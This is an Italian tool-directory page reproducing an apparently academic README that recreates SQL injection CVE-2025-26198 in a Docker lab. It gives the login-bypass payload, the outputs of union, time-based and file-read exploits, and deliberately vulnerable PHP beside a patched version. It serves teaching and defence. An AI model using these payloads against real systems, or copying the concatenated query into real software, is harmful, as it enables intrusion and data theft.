Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-26198 — Riproduzione didattica dell'iniezione SQL CVE-2025-26198 in CloudClassroom-PHP-Project, che dimostra quattro tecniche di sfruttamento (boolean, union, time-based, lettura file) con confronto della versione patchata. | Kitploit
Strumenti/GitHubGitHub/wailyacoubi9/cve-2025-26198
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e FormazioneSicurezza dei Database
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

Riproduzione didattica dell'iniezione SQL CVE-2025-26198 in CloudClassroom-PHP-Project, che dimostra quattro tecniche di sfruttamento (boolean, union, time-based, lettura file) con confronto della versione patchata.

Vedi Repository
17 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-26198 - Dimostrazione di SQL Injection

Progetto accademico ENSIMAG - Sicurezza 3A
Autori: Wail Yacoubi, Mohammed-Yassine Akhmari
Data: Gennaio 2026


Avvertenza

Questo codice è intenzionalmente vulnerabile per scopi educativi.
Non distribuire mai in produzione.


Descrizione

Riproduzione di CVE-2025-26198: SQL Injection critica in CloudClassroom-PHP-Project v1.0.

Caratteristiche della CVE:

  • Identificatore: CVE-2025-26198
  • Punteggio CVSS: 9.8/10 (Critico)
  • Tipo: SQL Injection (CWE-89)
  • Componente vulnerabile: loginlinkadmin.php
  • Impatto: Bypass autenticazione + estrazione completa DB

Riferimento ufficiale: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


Obiettivo

Dimostrare 4 tecniche di sfruttamento SQL Injection:

  1. Boolean-based - Bypass autenticazione
  2. Union-based - Estrazione dati
  3. Time-based Blind - Rilevamento tramite ritardo
  4. File Read - Lettura file di sistema

Installazione

Prerequisiti

  • Docker e Docker Compose
  • Python 3.x
  • Installare requests: pip install requests

Avvio

root@kitploit:~
# Clonare il repository
git clone <vostro-repo>
cd CVE-2025-26198

# Avviare l'infrastruttura
docker-compose up -d

# Attendere che MySQL sia pronto (30 secondi)
sleep 30

# Verificare i container
docker-compose ps

L'applicazione è accessibile su http://localhost:8081


Exploit

Metodo 1: Manuale (browser)

  1. Andare su http://localhost:8081

  2. Compilare il modulo:

    • Nome utente: admin' OR '1'='1'-- -
    • Password: anything
  3. Fare clic su Login

Risultato: Connessione admin riuscita senza password valida.

Spiegazione:

Il payload trasforma la query SQL:

root@kitploit:~
-- Query normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Query con injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

OR '1'='1' è sempre vero, e -- - commenta il resto.


Metodo 2: Script Python

Script semplice

root@kitploit:~
python exploit_simple.py http://localhost:8081

Output atteso:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

Script completo (4 tecniche)

root@kitploit:~
python exploit.py http://localhost:8081

Output atteso:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

Versione corretta

Testare la versione sicura con prepared statements:

root@kitploit:~
# Attivare la versione corretta
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Ritestare l'exploit
python exploit_simple.py http://localhost:8081

Risultato atteso:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

L'attacco è bloccato dalla validazione degli input e dai prepared statements.

Ripristinare la versione vulnerabile:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

Confronto tra versioni

AspettoVersione VulnerabileVersione Corretta
Query SQLConcatenazione direttaPrepared statement PDO
Validazione inputNessunaRegex alfanumerica
Escape outputNohtmlspecialchars()
SQL InjectionSfruttabileBloccato
LogNessunoerror_log()

Codice vulnerabile:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

Codice sicuro:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

Struttura del progetto

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Versione vulnerabile
│   ├── loginlinkadmin_PATCHED.php  # Versione sicura
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

Risoluzione problemi

Il container web non si avvia

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

L'exploit non funziona

root@kitploit:~
# Verificare MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Verificare servizio web
curl http://localhost:8081

# Verificare versione attiva
head -n 2 app/loginlinkadmin.php

Porta già in uso

Modificare docker-compose.yml:

root@kitploit:~
ports:
  - "8082:80"

Documentazione

Vedere RAPPORT.md per l'analisi dettagliata che include:

  • Meccanismo della vulnerabilità
  • Architettura di sistema
  • Raccomandazioni per la sicurezza
  • Buone pratiche di sviluppo

Riferimenti

  • CVE ufficiale: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • Progetto originale: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

Disclaimer

Progetto sviluppato solo a scopo educativo nell'ambito del corso di cybersecurity ENSIMAG.

Utilizzo autorizzato:

  • Apprendimento e formazione
  • Test su ambienti autorizzati

Utilizzo vietato:

  • Attacchi su sistemi reali
  • Utilizzo malevolo

Qualsiasi utilizzo al di fuori del contesto accademico è severamente vietato e illegale.


Autori
Wail Yacoubi e Mohammed-Yassine Akhmari
ENSIMAG - Promozione 2026
Corso: Sicurezza 3A

Scarica lo strumento